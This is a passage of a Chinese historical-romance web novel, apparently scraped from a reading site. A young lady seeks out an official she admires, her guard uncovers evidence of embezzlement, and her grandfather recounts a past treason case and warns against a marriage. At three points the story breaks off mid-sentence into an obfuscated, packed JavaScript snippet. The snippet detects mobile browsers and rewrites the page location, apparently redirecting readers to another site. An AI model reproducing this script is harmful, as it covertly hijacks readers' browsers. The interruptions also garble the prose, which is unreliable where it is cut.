她不过是爱漂亮事物,燕三郎光风霁月,那张脸丰神俊美,每每回想起,她便觉得他像是上等的精美瓷器。 去年十八岁生辰时,爷爷嘱咐爹在京师替她留心姻缘,她不愿回京师嫁人,总一再拖着,只说要自己亲自挑选如意郎君。 若叫爷爷知晓她为了瞧燕如衡而大老远跑江宁来,定要拿她去盘问一番。 钱其羽贼兮兮笑,“我若是要说呢?” 钱映仪气定神闲转脸望他,“那就请少爷回去洗漱干净,等着被绑着送去瑞王府吧,待晚上归家,我不会替你分辨求情。” “阿姐你!”钱其羽佯装恼怒,半晌又瘪瘪唇,“你狡诈!” 比邻县衙有几条分巷,时常有行人进出,就是不见燕如衡从县衙里头出来,夏菱轻叹,把钱映仪低劝,“小姐,瞧这架势......” 钱映仪不见失落,笑嘻嘻去捂她的嘴,“鲜花般的一张脸,怎么能摆出这幅丧气模样?” 想是今日见不到燕如衡了,钱映仪扭头问小玳瑁:“现下便去夏菱听说的那间铺子买笔,你从前在外头跑得多,可知江宁有哪些点心做得好的?” 言下之意,便是不再在此停留了。 小玳瑁沉吟几晌,琢磨出几间点心铺子,正要回禀时,不知打哪蹿出一伙人! 头先跑的那四五个人穿一身单薄的苎麻衣裳,头发稀稀散散搭在两鬓,手里握着个馍馍死命地咬,像是何处钻来的乞丐。 在后头追的二人膀宽腰粗,手里各自拿个擀面杖,一副凶神恶煞之相。 其中一人没两下追上一个乞丐,将乞丐一把扑倒在县衙大门口,嗓门震天响,“你个小贼!老子逮着你了,敢在老子眼皮底下偷东西,看老子今日不送你去见官老爷!” 说话时后头那人也追了上来,照着那乞丐的肩膀就是一下! 捶得乞丐踉跄跌退,半跪在地,由头先那人拎畜牲似的掐着后领。 这动静引得周遭门户大开,不知情的青衫文士暗窥乞丐一脸狼狈,难免心软,朝二人劝道:“得饶人处且饶人,不过是个小乞丐,可怜见的也填不饱肚子,打也打过了,何苦还要送进衙门?” 凶神恶煞的二人眼眉相似,瞧着是一双兄弟,动手的那位不大听得惯这样的话,回首把文士一瞪,“你个臭读书的,要你做哪样和事佬?” “他吃老子的东西,不给钱,老子是摆摊做生意的,若有钱救济乞丐,老子何苦起早贪黑?老子今日非得拿他进官府不成!” 说罢摁着乞丐往县衙大门里去。 那乞丐临进门时总算咽下嘴里的馍馍,梗着脖子喊:“我给了钱的!我给了钱的!” 文士笨嘴拙舌,在汉子嘴里讨不着好,正愤然搜刮诗句,冷不丁听见这乞丐说话,忙上前绊住汉子,“且慢!你没听他说么?他给了钱!” 汉子怒斥:“钱呢?老子一个铜板没见着!” 乞丐怯懦答道:“搁在您摊架上了。” 看戏至此,又不知打哪钻出个耍杂戏的,气吁吁去重掣汉子的胳膊,“跑这样快,我险些没追上,喏,他们给钱了,的确搁在摊架上呢。” 说罢反手摊开,把那铜板给汉子瞧。 “哦,原来是仗势欺人,”文士昂首挺胸轻瞟汉子,“那是要进官府了,我倒不知江宁何时有你们这样的顽徒!” 说话间,文士胆由心生,把个汉子直直往衙门里推,那衙门里头也渐渐传出动静。 汉子霎时心虚,与自家兄弟互相睇眼,竟撒手将乞丐一攮,灰溜溜跑没了影。 没几时,衙门里走出一人,身姿挺拔,穿一身绿袍补服,黄鹂图案的补子,头戴一顶乌纱帽,虽俊如美玉,却因为官几载,此刻又身处衙门,行走时自有一股刚正不阿之气。 不是燕如衡又是何人? 他身后还跟着个持剑班头,一跨出门槛,班头便率先道:“大人在此,何人在县衙门前闹事?” 那乞丐把燕如衡一望,怯生生跪倒在地,“小人...小人见过青天大老爷。” 文士眼见那凶神恶煞的汉子跑了,也不好再将官司惹到自己身上,扶着乞丐起身讪笑,“误会,一场误会罢了,没想竟惊动老爷。” 燕如衡抬眼望着二人,扯出一抹和善的笑,“当真无事?若有事,便说出来,本官自会替你二人做主。” 文士不住地摇头,不好再留,搀着乞丐往东边离去,眼神在柳树下的马车上稍作停留,朝秦离铮不着痕迹地点了点下颌。 这厢目视二人离去,燕如衡窥清那辆马车,难免也见到马车上的“钱”字,不由地怔松片刻。 吩咐班头驱散看热闹的人群后,燕如衡径自向马车那处行去,隔着一道缃色的帘子,轻问:“可是钱小姐?” 钱映仪不曾想弄巧成拙,竟在看过一阵热闹后见到燕如衡,忙不迭先应声:“燕大人。” 说罢撩开车帘,冲燕如衡扬起个俏丽的笑。 燕如衡当即作揖,“钱小姐怎会来江宁?” 钱映仪暗自欣赏他的脸,目光由他的眉头滑落在鼻尖,惊觉失礼,匆匆垂下眼,笑道:“身边的丫鬟说江宁有间铺子的画笔卖得好,我不知真假,索性就过来了,也是凑巧路过衙门。” “方才......”她探出半张脸远远望一眼县衙,又转回来道:“没事吧?” 燕如衡轻笑,“无妨,官府门前时常有闹事。” 说话时,也正好瞧见钱其羽,二人互相打拱手算作礼数。 眼瞧阳光黯淡一些,燕如衡道:“既在此遇见,若不做东倒是我的不是了,若钱小姐与钱小公子不介意,待我下值,往河边疏绣斋小酌片刻,如何?” 闻言,钱映仪望向钱其羽,面色有些为难,“家中还有事......” 燕如衡的脸上依旧挂着那抹温润笑意,也不好再款留,左右张望一眼,指了不远处一间果脯铺子,“既是如此,那我便请二位吃些零嘴?” 钱其羽大笑,“燕家哥哥,你虽比我们大几岁,也别把我们当作三岁小童哄,哪有大人馋零嘴吃的,我......” 说到此节,钱其羽话锋一停,原来是夏菱不知何时靠近他,暗暗用胳膊肘拐了他一道。 钱其羽回过神来,暗道钱映仪来此不就是为了多与燕如衡说几句话?大好的机会险些被他拒了,当即悻悻摸鼻,又冲燕如衡笑:“让我阿姐去,她爱吃甜的。” 江宁的气息比及应天府一带要稍显清爽,周遭凝着花的香气,即便是隔着马车,钱映仪也能嗅见燕如衡身上那抹柑橘香。 她扒着车窗,止不住地要再多瞧他的脸,因此稍稍抿着唇,点头算作应下。 如此一来,待钱映仪转下马车,燕如衡便在前头引她,两个丫鬟不近不远跟着,只觉前方那一双背影在朦胧的天色下牵出几分亲近。 小玳瑁收回眼色,半倚在车壁旁打趣,“昨儿夜里我就猜,小姐今日定会与燕三郎遇见,真是上天赐下的良缘。” “你还晓得算这个?”钱其羽惊问,横过胳膊把小玳瑁揽住,窃窃往另一头去了,“你也替我算算......” 他要找小玳瑁算个什么门道,秦离铮无半分好奇之心,独自立在柳树下盯着二人,趁其不备,悄无声息隐去。 他的人逼燕如衡出了县衙,此刻正是他潜进去的好时机。 翻墙跃进江宁县衙,一路避开屏房值守的衙役,秦离铮没几时就摸进县丞院,潜进了门户紧闭的宅房。 房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790588|190568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内陈设简单,秦离铮直奔案台,翻找一阵,见多是些寻常公务,心下一沉,四下暗窥一阵,将目光落向案上不起眼的笔架。 阳光自窗柩映射在案上,光束里尽是灰尘,这案台像是命工匠新打的,一应办公之物皆是全新,唯这笔架稍显陈旧。 秦离铮心神一动,当即将笔架倒过来,果真在底部窥见一处机关。 轻轻拨弄,笔架底部便弹开,露出里头一卷纸张。 秦离铮仍是那副不崩于色的神情,将卷纸铺开,一眼扫尽纸上内容。 这一纸公文提及近来江宁县要修缮道路,另雇工匠,向应天府要三万两白银。 这纸张下角不起眼处还粘着一张巴掌大的薄纸,秦离铮不由在心底暗嘲,往怀里摸出火绒,覆在薄纸半寸处来回烘烤,果不其然有字迹渐渐隐现。 薄纸暗藏玄机,竟是另一纸公文。 暗指应天府只管拨款银子,待银子下来,雇哪样的工匠,运哪样的泥,便是另当别论了。 秦离铮哼出个轻浅的笑,摸出纸笔一一誊抄在册,待那因火烤显现的字迹消退,才将东西复归原位。 明面为江宁县修缮道路,实则依靠此举贪墨,燕如衡与应天府那位燕府尹既是父子,关起门来说这阴私才算干脆,又何须再行公文兵行险着? 这对父子竟还有做戏做全套的乐趣。 秦离铮环顾房内一圈,陈设简单质朴,不由地嘲讽笑了笑,暗道若是不知情的旁人进来,只当这燕如衡是如何两袖清风,清风峻节。 这厢探查出一丝贪墨之证,秦离铮不做逗留,如何来便是如何走。 踅回马车旁时,小玳瑁与钱其羽往石磴上靠坐,正打着盹。 听及动静,小玳瑁睁开迷蒙的眼,横手遮了遮光,“你去哪了?” “方便去了,小姐还没过来?” 钱其羽也懒洋洋睁开眼把他扫量,朝那间果脯铺子努努嘴,“没半点眼力见,没见我阿姐正高兴?” 秦离铮循着他的视线望过去。 日影轻晃,铺子前立了一双人影,钱映仪缓步往外走,身姿娉婷,那张本就白皙的脸由光影照一照,愈发粉光若腻。 而燕如衡唇畔噙了丝淡笑,手里提着一连串打包成袋的果脯,眼神总落在钱映仪的背影上。 渐渐地,二人并肩行走,不知燕如衡说了几句什么,钱映仪先有些惊异,没几时又展露笑颜,向来叽叽喳喳的嘴唇轻轻抿着。 上午去云滕阁寻她时,她还坐在西窗内笑得颤颤巍巍,怪哉,此刻竟如此含蓄? “啧,”钱其羽不知几时凑近秦离铮身后,歪脸与小玳瑁道:“这燕三郎长得人模人样,行事也端方有礼,我瞧着还算满意。” 小玳瑁笑嘻嘻附和两句,拍一拍秦离铮的肩,“我说什么来着?小姐与他是不是看着十分般配?小姐端庄娴淑,燕三郎温润如玉......” 不过才二月,暖阳总变戏法似的,说没就没。 这头钱映仪与燕如衡起先聊得痛快,买过果脯,钱映仪却罕见地不知该说什么,只是一味想盯着燕如衡的脸暗窥。 被燕如衡提及儿时趣事逗笑后,钱映仪又垂着脑袋,看脚下被阳光映照的影渐渐消失。 倏地,她似有所感,总觉得有道视线悬停在自己身上,因此抬脸去搜寻...... 猝不及防对上侍卫的一双眼。 先前被侍卫逗弄而生气的余韵鬼使神差在心里冒了个头。 因燕如衡仍在身侧,钱映仪老远暗瞪侍卫一眼以作警告,眼神勒令他不许这样大胆直白地盯着自己看。 她那双乌灵的眼睛瞪人时总是睁得大大的,瞳眸益发闪亮澄澈,也爱微微挑起下颌,轻轻鼓着那两片嫩红的嘴唇。 小玳瑁的话音犹在耳畔,秦离铮没太听清,由她瞪着自己。 他半扯唇角牵出一抹似笑非笑,笑她在燕如衡面前表演的一切“端庄娴淑”是假象。 她一惯曼妙灵动,倘或是能耐着性子继续扮演下去,又何苦分出心神来瞪他? 9. 第9章 天色渐变,白日里还艳阳高照,一阵闷雷响过,竟是细雨霏霏。丫鬟春棠与夏菱互相睇眼,上前轻掣钱映仪的衣袖。 钱映仪正冲侍卫使眼色,不自觉又走到燕如衡前头,由两个丫鬟提醒才匆匆敛神,回身向燕如衡笑,“今日多谢燕大人,江宁的天是说变就变。” “无妨,”燕如衡将果脯递给丫鬟,不好再款留她,便问:“上回在晏家,我阿姐曾说要办春宴,钱小姐可会赏脸?” 他若不提,届时钱映仪也自会去,她与燕文瑛的关系融洽,若燕文瑛相邀,她没有不去的道理。 可他此刻提起这春宴,钱映仪难免钻研起他话语中的含义。 毕竟燕文瑛邀她,与他当面问这一句,意思大多不一样。 “我......” 话音未落,那侍卫不知打哪凑过来,钱映仪竟未发觉,被他唬得抖了抖,弯弯的秀眉一拧就要斥责。 侍卫木杵杵站在那,若远远瞧上一眼,高大的身躯像是一堵坚硬的墙,隔开了二人。 侍卫道:“小姐,雨势要大了。” 言罢举起一把油纸伞。 燕如衡这时候才留意钱映仪身边这位侍卫,起先刚打照面时,他不曾细看,眼下盯着侍卫看了两眼,才觉这人通身不似寻常侍卫。 不知是有意无意,他总觉得这侍卫的眼梢流露出几分审视。 细细密密的雨滴渐渐打湿钱映仪鬓边一绺发丝,洇得她的两帘睫毛也凝在一处。 燕如衡漏出个温和的笑,向那把油纸伞伸出手,向钱映仪道:“的确该走了,我送你上马车。” 不防那把油纸伞让一让,侍卫径自撑开伞面,罩在钱映仪的脑袋顶上,伞缘稍稍倾斜,将钱映仪的脸彻底遮住。 侍卫像是有所察觉,正欲走时,回身向燕如衡轻轻颔首,“抱歉,少爷叮嘱我来接小姐,燕大人请回。” 燕如衡静静立在原地,半晌扯出更浓重的笑,“不碍事,且去吧。” 丫鬟侍卫拥着小姐往柳树下的马车处走,待离得稍远些,钱映仪一跺脚,终归是有些记仇,指尖攀着侍卫的手臂狠狠一掐,“你今日专与我作对是不是!谁许你盯着我看的?在我身边伺候没个耐心,又不听话,我不想再叫你跟着了,归家我就去寻二婶,打发你去做个扫马厩的活!” 钱映仪手上使足了劲,面上仍是笑吟吟的,恐他不觉得有多疼,蓦然向两个丫鬟使眼色。 两个丫鬟默默挡在了二人身后,将燕如衡的视线阻隔在外。 钱映仪此番是一肚子的坏水,手指顺着侍卫的臂膀往内侧走,自打她将他捡回家搁置在身边,仿佛是她总跳脚,她今番势必要叫他也疼得上跳下窜...... 岂知才摁住他坚实的胳膊,腕子就冷不丁被一只手掣住,力气不大,却使她无法再作乱。 “......林铮!你大胆!”钱映仪呆呆怔在原地,乌瞳渐渐瞪大,连一颗心都悄然提起,压着声音斥道:“你、你敢碰我!” 那只手一顿,倏地丢开她。 方才见半空浮起雨丝,钱映仪又迟迟未与燕如衡告别,钱其羽忧心姐姐染上风寒,便命秦离铮上前催促。 秦离铮达到目的,见天色渐渐暗沉,也没想在江宁多待,是以径自接了钱映仪就往回走。 对于她的小小力气,他本没放在心里,岂知她见他闷声不吭,竟得寸进尺往他臂弯内侧探手。 秦离铮撑着伞,偏脸望向钱映仪。 她今日是穿了件淡粉比甲,领子上一团绒毛衬得她的小脸巴掌大,江宁这偌大一片土地飘荡着雨,她的眉梢也凝着些微寒露。 离得近了,才发觉她瞪人时眼睛乌黑灵透,像泡在清澈湖水里的玻璃球,红唇翕合一阵,暗骂他越矩。 为皇上办事的这几年,他见过不少世宦贵女,再没哪个敢像她这般,对男子身躯毫不避讳。 且她自己不避讳,反倒指责他碰她。 “还敢看!”钱映仪一抬脸对上他幽寂无波的眼,目光触及到他高挺鼻梁上的两颗细小的痣,倏地联想到拔地而起的山峰。 要命的是,那两颗痣生得不大对称,靠近眼角一颗,靠近鼻尖一颗。 钱映仪有片刻松缓,方才被他握住的那只手藏在背后,渐渐地也抬了起来,想把那两颗碍眼的痣狠狠戳一戳。 “轰隆——” 半空划开一阵闷雷,天边撕开一条口子,雨势又大了些。 钱映仪乍然回神,说不清是什么缘故,后退了半步,想及二人是主仆,凭何是她慌神?益发气不打一处来,伸手去夺那把油纸伞,“我、我自己撑着!” 秦离铮丢开握着伞柄的手,自觉退离她身边。 直至进了马车,钱映仪的一颗心仍提得高高的,她想她定是被侍卫唬了一跳才这样,因此又撇弃那抹不知打哪钻出来的心慌,撩开帘子将油纸伞一把扔去侍卫身边,以作泄愤。 既已在江宁,钱映仪没忘购置画笔,又往小玳瑁提及的点心铺子买上几份点心,这才往家中赶。 回去时的路程总要快些,未及一个时辰,马车踅回琵琶巷。 两个丫鬟搀钱映仪下车,临进门时,钱映仪稍偏一张脸,目光在一言不发的侍卫身上停留,当下打定主意要回了许珺,将他调离自己身边。 俩姐弟身上都带着雾气,因而各自回房换了身衣裳,转去花厅时,正碰上许珺摆饭。 一屉新出笼的水晶虾仁饺,一碟桂花蜜汁藕,一只清蒸糟鹅,并几盅砂糖元子,再是一碗三鲜鲫鱼羹。 甫一进门,就听见道声音,“羽哥儿,你的脸怎么回事?” 钱映仪扭头去望,见钱兰亭坐在一旁,瞧着方才是在呷茶,手里端着一只瓷杯,眼睛却盯着钱其羽的脸瞧。 那头许珺布好碗筷,也转脸过来。 二叔钱佑年今日也恰好归家,他自是也窥清儿子脸上的青紫,闻声便朝钱其羽一招手,使他去老爷子跟前答话。 白日里钱其羽眼睛长在脑袋上,气性犹在,对长辈怪罪下来这一事并未放在心上。 跟着钱映仪出去玩耍半日,气性尽散,倒是晓得怕了。 因而一步三回头往钱兰亭跟前走,目光像是黏在钱映仪身上。 钱映仪自当还记得要替他从中斡旋,忙不迭往脸上挂着笑,乐滋滋去拉钱兰亭,止不住地撒娇,“爷爷,你就瞧见弟弟,没瞧见我是不是?” 钱兰亭乜她一眼,顺着她的话搭腔,“你不是总说自己大了,家里不好再把你当小孩子看?这会又使上小孩脾性了?和你弟弟争风吃醋还是头一遭。” 说话间,便由着她拉到桌前。 钱映仪倏地伏腰挨着老爷子坐,又朝钱佑年夫妇招招手,“二叔二婶快些坐下吃饭,咱们先吃过饭再说别的。” 许珺晓得钱映仪白日带钱其羽出去是问话,在家也总还是有些担忧,这会见了钱其羽,因太了解他,她更是本能地从五内生出一丝古怪感。 于是今夜的饭用得不大愉快。 用罢晚饭,钱映仪使伺候的丫鬟退出去,又奉三位长辈入座,旋即拜倒在地,向三人请罪,“映仪连累弟弟在外犯事,请爷爷与二叔二婶责罚。” 钱其羽惊望她一眼,忙近前拉她起身,“阿姐你做什么?一人做事一人当,我不要你替我扛着!” 钱映仪打小也是个不服输的性子,何时像这样主动认过什么错?钱兰亭心中咯噔两声,忙使钱其羽拉她起来,问道:“你说你弟弟犯事,究竟犯了何事?” “爷爷与二叔二婶听了,先别急着怪弟弟。”钱映仪立在原地,低声将钱其羽为何在府学打架一事说了。 许珺骇目圆瞪,望着钱其羽喃喃:“你连世子也敢打?竟是闯下这样的祸......” 言罢立即起身招呼钱佑年备礼,要连夜登门向瑞王世子道歉。 “二婶且慢!”钱映仪忙上前拦停许珺,扭头望向钱兰亭,声音很轻:“爷爷还没说话呢。” 花厅内四个角的灯烛上覆着黄纱罩,正中央烧着炭,整个屋子暖洋洋的,隔绝了外头因落雨而掀起的寒潮。 钱兰亭稳坐上位,静静扫量钱其羽。 钱其羽自知打架犯错,在老爷子跟前把个脑袋垂得益发地低,胳膊乖顺搁在身前,两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钱兰亭点点下颌,盯着钱映仪的脸瞧了半晌,忽然往怀里摸出一封信。 钱映仪一眼扫见信封上的字迹,脸说沉就沉,“爷爷,爹娘又来信了?” “是写与你的,”钱兰亭递上信,“你自己拆了看。” 钱映仪绷着两片红唇将信封撕了条笔直的口子,擎着里头薄薄一张纸放在灯下细看,半晌,气得一扔信纸,竟是匍匐在钱兰亭膝前哭了起来,“爷爷!爹又想擅自替我定下婚事!” 这一哭喧得许珺忙上前把钱映仪揽进怀里安抚,难免嗔道:“又是大哥催映仪回京师的信?大哥大嫂也真是,仗着膝下三个孩子,不把珍宝捧在手里,我就愿得个女儿,换作是我,才不急着将女儿嫁出去呢!” 钱映仪十岁时随钱兰亭回了金陵,彼时钱锦年夫妇与她约定,待到满过十八岁,务必要拜别钱兰亭再回京师。 这其中缘由,自是为钱映仪的姻缘考虑。 孰知钱映仪去年方满十八,钱锦年就寄信来金陵,提醒她切莫忘记此事。 钱映仪生平最厌烦旁人一再提醒自己,接二连三的信件寄来,愈发是不当一回事。 关于孙女的婚事,钱兰亭也颇有些头疼,盯着那张哭得鼻头通红的脸,他掐了掐眉心,“先莫哭,你讲,你想嫁个什么样的男子?回头爷爷写信给你爹,叫你爹照着信上说的去找。” 钱映仪被许珺揽在怀里,眨巴两下哭湿的浓睫,道:“要嫁,我就嫁个最好的!” 许珺“噗嗤”笑了,怜她说话可爱,忙掏出帕子揩走她脸上的泪珠。 钱其羽在一旁暗窥,眼珠子轱辘一转,也算遵守与钱映仪的约定,只仿佛是忽然想起外头的事,冷不丁上前两步问:“爷爷,外头都在说燕家那位三郎呢,说他生得漂亮,家世又好,爷爷觉得他如何?” 他期期艾艾盯着钱兰亭,想他说出些赞赏燕如衡的话,想及钱映仪应是心悦燕如衡,如此也算哄她高兴了。 岂知钱兰亭冷下脸,眼色渐凉,由鼻腔哼出一声,“不成!” 10. 第10章 乌云蔽月,雨不知何时停歇了,黄纱灯笼里的灯芯噼啪响了两声,钱映仪鲜少见钱兰亭脸色变得如此直快,一时也安静下来,忘了要哭。 钱其羽难免好奇,“爷爷......为何不行?” 那燕家不说多富贵,却也是书香门第。身为应天府的府尹,燕榆向来勤政爱民,家中太太乃扬州通判之女,教得一双儿女腹气自华。 这样好的人家,为何不行? 许珺也不大明白,虽不知儿子因何无缘无故提起燕三郎,可她时常在外走动,自也是与其他官太太一般,对这燕三郎印象不错。 碍着公爹沉了脸,许珺一时也只揽着钱映仪不出声。 屋子里的铜漏声滴滴下坠,钱兰亭绷着唇角,淡睃几人一眼,神情依旧,复抬起那盏没喝完的茶轻呷,“坐下,正好趁着今日都在,有些事我也与你们说开。” 一家子又围坐一团,许珺隐隐觉察到公爹要说些什么,忙又拔座去掩紧了门。 钱兰亭别有深意招钱其羽上前,“爷爷不叫你爹娘去瑞王府上赶着给人道歉,这其中还有层意思,你可晓得?” 钱其羽懵懂摆头,不防一个摆脸,目光落向钱映仪的脸,鬼使神差想起下晌出门时她曾捂自己的嘴...... 他像是在弯弯绕绕的门道里摸索出一份答卷,神情惊诧,试探着反问:“是...是因瑞王多年前曾涉及逆王案,咱们家最好是不要与王府有任何牵扯?” 这话一出,钱佑年与许珺登时正襟危坐。 钱兰亭点点下颌,漫不经心往椅背上跌靠,“正是此意。” 屋子里岑静下来,只剩炭炉子里的细碎声响,微黄的烛光侧照钱兰亭的脸,映得他的面目高深莫测。 钱映仪从未见过这幅模样的爷爷,一时怔住了。 钱兰亭道:“咱们家只我一人在六部当值,另一个在县衙,映仪她爹远在京师,所以有些事,你们还不晓得。” “近来常有小厮打扮的人分别在吏部与礼部候着,像是在等人,那小厮穿着打扮普通,若非我有一日往礼部去送公文,瞧见了那小厮的腰牌,我也不晓得这些。” 钱佑年一点就通,忙不迭问:“爹,难不成是燕家的小厮?” 钱兰亭剔他一眼,眼色稍冷,“正是,应天府与六部向来是各管各的,倘或有上下级间的指示,哪轮得到小厮在中间传话?哼,依我之见,燕家此举,是为拉拢官员,只是具体要做些什么,暂时不知。” “可是爷爷,您说的这些我不大明白,您一会说对瑞王府一家要避讳,一会又提到燕家,”钱其羽抿着两片唇,懵懂之色复又带了出来,“我没听懂。” 钱佑年左思右想,倏地拔座而起,自知失态又忙落座回去,神情渐渐严肃起来,望向钱兰亭,“爹是想起了多年前与秦家有关的那桩案子?” 钱映仪亦是半蒙半懂,手里绞着帕子轻语,“二叔,我也不明白。” 钱佑年暗窥老爷子呷茶不说话,明显将话头丢给了他,只得冲钱映仪和蔼可亲笑一笑,“二叔也是猜测,这便说与你。” 原来在十年前,在京师曾发生过一桩令人唏嘘的案子。 彼时瑞王还意气风发,仗着自己封地富庶,时常是不将人放在眼里,偏生平有一乐趣,便是尤其欣赏那等神清骨秀、满腹经纶之人。 有一年回京师,得知同年有个姓秦的进士一举拔得头筹,进了翰林院担任编修之位,瑞王心生好奇,进了宫一路追到翰林院,方见得那位秦编修。 原来那秦编修是右军都督佥事长子,自幼饱读诗书,生平之志便是报效家国。 瑞王愈发欣赏秦编修,二人交谈几番,发觉竟是相见恨晚,瑞王便与其约定每月两封书信探讨奇文。 说到此节,钱佑年口干舌燥,钱其羽急急奉上一盏茶,追问:“后来呢?” 后来...... 钱佑年不曾在京师做过官,这事是从大哥钱锦年嘴里听来的,饶是他没亲眼见过那位秦编修,此刻再提起也是似叹似愤。 后来,另一位王爷——恒王不甘盘踞在封地一辈子,举兵造反,期间鼓动瑞王一同杀上京师。 瑞王此人虽极尽嚣张,在此事上却还算谨慎,一面稳居金陵,一面暗派手下谋士助力恒王。 好在以右军都督佥事秦青山为首的一应良将忠诚,恒王之流便不足为惧,很快全军覆没。 恒王不甘心一人赴死,竟要拉着瑞王一同去见阴司老爷,面对皇帝盘问时,就将瑞王给供了出来。 那瑞王料想恒王会反咬,早有后手防他。 整个谋逆之局里,瑞王未曾露过一面,一口咬定是恒王买通自己手下的谋士,即便他手持丹书铁券,也深知谋逆不宥的规矩,因而又生出一计。 恐皇帝不信任自己,瑞王将目光放在那位忠良之将秦青山身上,瑞王言,自己什么都不知,要问恒王是如何买通自己身边的谋士?便是通过秦青山的那位长子——翰林院编修秦离然。 他道秦离然是恒王的人,借与他互通书信的机会,暗自收买了他的谋士。 皇帝险些皇位不保,正是疑心深重之时,瑞王轻飘飘一句话,叫秦青山由功臣变作疑似反贼的叛党。 对皇帝而言,秦离然是否是恒王的人不重要,只因锦衣卫的确在秦家搜出了秦离然从前与瑞王互通书信的证据。 如此一来,瑞王成了整局谋逆案的不知情者。 而秦家,摇身一变沦为铁锅上的蚂蚁。 两个孩子倒吸一口冷气,钱映仪不由地问:“随随便便一句话,说定罪就定罪了?” 钱佑年摇头嗟叹,“那些书信翻出来,验过笔迹,的确为秦编修亲手写下,他是通过哪样的手段买通瑞王手下,已经不重要了,那把龙椅上坐的人仍没有变。” “定秦编修的罪,自然也是一句话的事。” 钱佑年接着道:“那时听你爹说,秦家当时只有两条路,要么秦青山大义灭亲,以保全全家性命,要么整个秦家一齐死。” 钱映仪十岁离开京师,在今日之前,早已不大记得京师发生过哪些要案,但经钱佑年一席话提醒,倒记起些别的,“二叔,照您这么说,我好像想起来一些,那秦家是不是住广化寺后头的正街上?他家里还有个小儿子是不是?” 钱佑年侧目瞧她,扯出一抹笑,“秦家住在哪里我不晓得,他家的确还有个小儿子,你又是如何还记得的?” 钱映仪稍稍垂眼,轻声道:“有一年正月,娘带我去向她的手帕交拜年,路上碰见那秦二郎因为一条狗与人互殴,我最怕狗,连带着瞧他也觉得害怕,后来仿佛是听娘提过两句,说他是那条街上的霸王,从来只有他欺负别人的份,过去这么多年,我记不大清了,只还记得这个。” 提到此节,钱映仪对这一桩案子的惊骇淡去几分。 想及那秦家次子与她差不了几岁,心中一时感慨都是同龄人,难免生出一丝同情,便问:“那后来呢?” 钱佑年背欹在椅上,牵出一丝叹息,“秦青山自是疼爱儿子,怎舍得做出那等亲手弑子之事?那秦编修自有风骨与气节,后来的内情与细节,你爹也不晓得了,没与我说。” “只知秦编修以死保全清白,秦青山辞去右军都督佥事之职,先皇又信了秦家两分,予秦青山在京师混了个不要紧的闲职,秦家一大家子人的性命,也终归是保全了。” “你讲的那位秦二郎,倒是没什么消息,仿佛是与家族背道而驰,闹得不大愉快,再后来有消息,听说是进了锦衣卫。” 钱映仪写惯了志怪话本,话本里的妖怪向来是轻易取人性命。 今日听罢此事,打心底生出一股寒意,顿觉人比妖怪更可怖。 她也为此愤然,“秦家何其无辜?秦大人身为忠良之臣在阵前拼搏,被先皇如此对待,又怎能不心寒?” 辗转听了一场故事,屋子里仍是静静的。 钱兰亭一直虚阖着眼,此刻才道:“秦家这案子给当时的世家敲了一记响钟,彼时有多少人羡慕秦家长子与亲王关系融洽,秦家落败后,就有多少人对其避之远及。” “谈起这事,正是要提醒你们,一则,瑞王虽全身而退,却是个心机深沉的,咱们家不与王府搭上关系才是正道。” “二来,燕家如今暗中拉拢官员,虽不晓得燕家要做什么,但世事难料,保不准日后便是第二个秦家。” 瞥了眼钱映仪,钱兰亭神色稍缓,“咱们家与燕家虽不大有来往,同居金陵这片土地,要想做到独善其身也有些难,一些人情世故也是避不开的。” “寻常赴宴小聚无妨,倘或是要结亲,还是不要想了。” 今日这话题太沉闷,钱其羽向来嬉皮笑脸,此刻也是沉着脸,有些懊恼,“早知我就不随便与俞敏森动手了。” 见他明事理,钱兰亭有意松缓气氛,笑骂他两句,命他速速回房写那一纸检讨。 钱其羽乍然记起这一遭,嘴上忙应声,匆匆起身出门,一溜烟跑没了影。 钱佑年暗窥老爷子的神情,料想他应是有话与侄女单独谈,稍稍思忖便拉着许珺一并也出去了。 “爷爷,”钱映仪心思灵敏,与钱佑年想到一处去,起身另搬了把绣墩坐在钱兰亭跟前,问:“弟弟方才只是随口一提那燕三郎,您这样大的反应,这其中缘由,一定不单单是方才说过的那些,对吗?” 钱兰亭哼笑,“你愈发古灵精怪,爷爷有点风吹草动都瞒不住你。” 钱映仪抿着唇笑,“爷爷最心疼我,从小到大凡是与我相关的事,爷爷都很紧张。” “你晓得就好,”见钱映仪的脸上犹挂了两条泪痕,钱兰亭往怀里摸出条帕子替她揩拭,语气放软,“你可知秦家出事前,秦家长子已与一位官家小姐定下亲事?” 钱映仪呆呆摇头,“我如何能知?秦家出事,那位小姐岂不是......” “她与秦家长子两情两悦,却被迫退掉亲事,因与秦家定过亲的关系,再没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790590|190568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人敢往她家去议亲。” “映仪,你打小就与爷爷最亲近,爷爷虽不知燕家要做什么,却还没老糊涂,爷爷只想你平安顺遂嫁个好人家,远离一切阴谋诡计。” 钱映仪总算回过神来,怔松望着钱兰亭。 